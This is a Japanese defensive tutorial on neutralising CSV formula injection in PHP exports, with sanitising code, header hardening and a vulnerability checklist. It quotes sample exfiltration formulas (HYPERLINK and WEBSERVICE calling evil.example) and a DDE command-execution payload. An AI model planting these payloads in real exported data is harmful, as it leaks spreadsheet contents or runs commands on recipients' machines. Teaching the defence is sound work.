ハウツー: エクスポート時の CSV / スプレッドシート数式インジェクションを防ぐ
API がユーザー提供のデータを CSV としてエクスポートするとき、危険はあなたのサーバー上にはありません — 受信者のスプレッドシート上にあります。Excel、Google Sheets、LibreOffice は、テキストが =、+、-、@、タブ(\t)、復帰文字(\r)で始まるセルを数式として扱います。=cmd|'/c calc'!A0 や =HYPERLINK("https://evil.example/?"&A1) のような文字列をデータベースに入れられる攻撃者は、管理者がエクスポートされたファイルを開いたときにそれを実行させる(DDE)か、行を流出させることができます。
これが CSV インジェクション(数式インジェクションとも呼ばれる)です。これはエクスポート境界での出力エンコーディングの問題であり — SQL インジェクション(クエリの問題)や CSV 一括インポート(入力の問題)とは別物です。
前提条件: 行を CSV として返すエンドポイントがあること。
1. 攻撃
これを完全に有効な「表示名」として保存し、テーブルを CSV にエクスポートして Excel で開いてみてください:
=HYPERLINK("https://evil.example/leak?d="&A1&A2, "Click for refund")=...HYPERLINK...— クリックされると隣接セルを攻撃者の URL に流出させる。=WEBSERVICE("https://evil.example/?"&A1)— 古い Excel ではクリックなしで流出させる。=cmd|'/c calc'!A0— DDE。確認ダイアログの後にローカルコマンドを実行できる。
これらはどれもあなたのサーバーには触れません。バリデーションは通過し、SQL はパラメーター化されていた — それでもあなたは「有効な」CSV の中に動作するエクスプロイトを出荷したのです。
2. 修正: 先頭文字を無害化する
OWASP 推奨のベースライン: セルの値が危険な文字で始まりかつ単純な数値でない場合、シングルクォート(')を前置します。Excel はその後セルをリテラルテキストとしてレンダリングします。
/**
* CSV セルに書き込む前に値を無害化し、スプレッドシート
* ソフトウェアがそれを数式として解釈できないようにする。
*/
function neutralizeCsvCell(string $value): string
{
if ($value === '') {
return $value;
}
$dangerous = ['=', '+', '-', '@', "\t", "\r"];
// 本物の数値(-50 のような負の値を含む)はそのまま保つ。
// 危険な文字で*始まり*かつ数値でない値のみクォートする。
if (in_array($value[0], $dangerous, true) && !is_numeric($value)) {
return "'" . $value;
}
return $value;
}!is_numeric() のガードは、ほとんどの実装が誤る部分です: あらゆる -/+ を盲目的に前置すると、正当な数値 -50 がテキスト '-50 になり、受信者のシートでの合計が壊れます。数値は素通りし、数式の形をした文字列だけがクォートされます。
3. RFC 4180 クォーティングと組み合わせる
無害化は数式を処理します。それとは別に、カンマ・クォート・改行を含む値が列構造を壊さない(別個のインジェクションベクター)よう、正しいクォーティングも必要です。fputcsv にそれをやらせます。厳密な RFC 4180 の振る舞い(バックスラッシュエスケープなし)には escape="" を指定します:
$fp = fopen('php://temp', 'r+');
foreach ($rows as $row) {
fputcsv($fp, array_map('neutralizeCsvCell', $row), ',', '"', '');
}
rewind($fp);
$csv = stream_get_contents($fp);入力 → 出力(検証済み):
=1+1 → '=1+1
+budget → '+budget
@home → '@home
-50 → -50 (本物の数値、変更なし)
=cmd|'/c calc'!A0 → "'=cmd|'/c calc'!A0"
a,b → "a,b"
he said "hi" → "he said ""hi"""
escape=""が重要です: PHP の歴史的なデフォルトエスケープ文字(\)は、RFC 4180 に準拠しない出力を生成し、Excel が誤ってパースします。常に""を渡してください。
4. ダウンロードレスポンスとして返す
ハンドラーで PSR-7 レスポンスを構築します。さらに 2 つのヘッダーレベルの詳細が重要です:
$filename = 'export-' . date('Ymd') . '.csv';
return $responseFactory->createResponse(200)
->withHeader('Content-Type', 'text/csv; charset=UTF-8')
// ファイル名を無害化: CR/LF/クォートを除去して追加ヘッダーを注入できないようにする。
->withHeader('Content-Disposition', 'attachment; filename="'
. preg_replace('/[\r\n"]/', '', $filename) . '"')
->withBody($streamFactory->createStream("\u{FEFF}" . $csv));Content-Disposition: attachment— ブラウザにバイト列をレンダリングさせる代わりにダウンロードを強制する(コンテンツスニッフィングに対する防御)。filenameの無害化 — ユーザー制御の名前を\r、\n、"を除去せずに決して補間しない。さもなければヘッダーインジェクションのベクターになる。- BOM(
\u{FEFF}) — オプション。Excel が UTF-8 を正しく開けるようにする。インジェクション防御には影響しない。
無害化はハンドラー全体に散らばせるのではなく、エクスポート層(小さな CsvWriter value object)に留めてください — そうすれば同じ保証がすべてのエクスポートエンドポイントをカバーします。
脆弱性アセスメント
V-01 — 先頭の = による数式インジェクション ✅ SAFE
リスク: =1+1 や =HYPERLINK(...) のような保存された値が CSV を開いたときに実行される。 所見: SAFE — neutralizeCsvCell() が ' を前置するため、セルはテキスト('=1+1)としてレンダリングされます。
V-02 — DDE コマンド実行(=cmd|...)✅ SAFE
リスク: =cmd|'/c calc'!A0 が DDE をトリガーしローカルコマンドを実行できる。 所見: SAFE — ペイロードは = で始まり数値でないため、クォートされます("'=cmd|'/c calc'!A0")。
V-03 — WEBSERVICE/HYPERLINK 経由のデータ流出 ✅ SAFE
リスク: =WEBSERVICE("https://evil/?"&A1) が隣接セルを漏洩させ、時にはクリックなしで起こる。 所見: SAFE — 同様に無害化されます。先頭の = は関数名に到達する前に無効化されます。
V-04 — 先頭の +、-、@ トリガー ✅ SAFE
リスク: Excel は +、-、@ で始まるセルも評価する。 所見: SAFE — 4 つすべてが $dangerous セットに含まれます。+budget → '+budget、@home → '@home。
V-05 — タブ / 復帰文字の前置によるバイパス ✅ SAFE
リスク: 先頭の \t や \r が一部のパーサーで除去され、その下の = が露出する(\t=1+1)。 所見: SAFE — \t と \r は $dangerous セット自体に含まれるため、除去される前にセル全体がクォートされます。
V-06 — カンマ / クォート / 改行による列の崩壊 ✅ SAFE
リスク: a,b のような値や埋め込まれた "/改行がデータを誤った列にずらす(構造的インジェクション)。 所見: SAFE — fputcsv(..., escape: '') が RFC 4180 クォーティングを適用します("a,b"、"he said ""hi""")。
V-07 — Content-Disposition ファイル名ヘッダーインジェクション ✅ SAFE
リスク: \r\n を含むユーザー制御のエクスポート名が追加のレスポンスヘッダーを注入する。 所見: SAFE — ファイル名はヘッダーに置かれる前に preg_replace('/[\r\n"]/', '', ...) を通されます。
V-08 — コンテンツスニッフィング / インラインレンダリング ✅ SAFE
リスク: attachment がないと、ブラウザが CSV を HTML としてレンダリングし、埋め込まれたマークアップを実行する可能性がある。 所見: SAFE — Content-Type: text/csv + Content-Disposition: attachment がダウンロードを強制します。
V-09 — 正当な負の数値が壊される ✅ SAFE(正しさ)
リスク: 過剰な無害化が -50 をテキスト '-50 にし、下流の合計を破壊する。 所見: SAFE — !is_numeric() のガードが整形式の数値(-50、+1、-5e3)をそのまま素通りさせます。
V-10 — 防御の集中化 ✅ SAFE
リスク: ハンドラーごとのその場しのぎの CSV 構築が、あるエンドポイントで無害化を忘れさせる。 所見: SAFE(設計による)— 無害化は array_map 経由で適用される単一のエクスポート層に存在するため、すべてのエクスポートのすべての列がカバーされます。
VULN まとめ
| ID | 脆弱性 | 所見 |
|---|---|---|
| V-01 | 数式インジェクション(=) | ✅ SAFE |
| V-02 | DDE コマンド実行 | ✅ SAFE |
| V-03 | WEBSERVICE/HYPERLINK 流出 | ✅ SAFE |
| V-04 | + / - / @ トリガー | ✅ SAFE |
| V-05 | タブ / CR 前置バイパス | ✅ SAFE |
| V-06 | カンマ / クォート / 改行による列崩壊 | ✅ SAFE |
| V-07 | ファイル名ヘッダーインジェクション | ✅ SAFE |
| V-08 | コンテンツスニッフィング / インラインレンダリング | ✅ SAFE |
| V-09 | 負の数値の破壊 | ✅ SAFE |
| V-10 | 防御の集中化 | ✅ SAFE |
10 SAFE, 0 EXPOSED. 重大な発見なし。先頭文字を無害化するルール(数値ガード付き)に RFC 4180 クォーティングと attachment ダウンロードレスポンスを加えることで、CSV インジェクション面が閉じられます。唯一残る注意点は人間的なものです: 無害化の ' が一部の非スプレッドシート CSV パーサーでは先頭のアポストロフィとして見えます — 受信者のスプレッドシートでのコード実行が代替案であることを考えれば、許容できます。
関連
- CSV 一括インポート — 入力側(部分的成功、重複検出)
- データエクスポート API — 非同期トークン保護のエクスポートフロー
- SQL インジェクション防御 — クエリ側のインジェクションクラス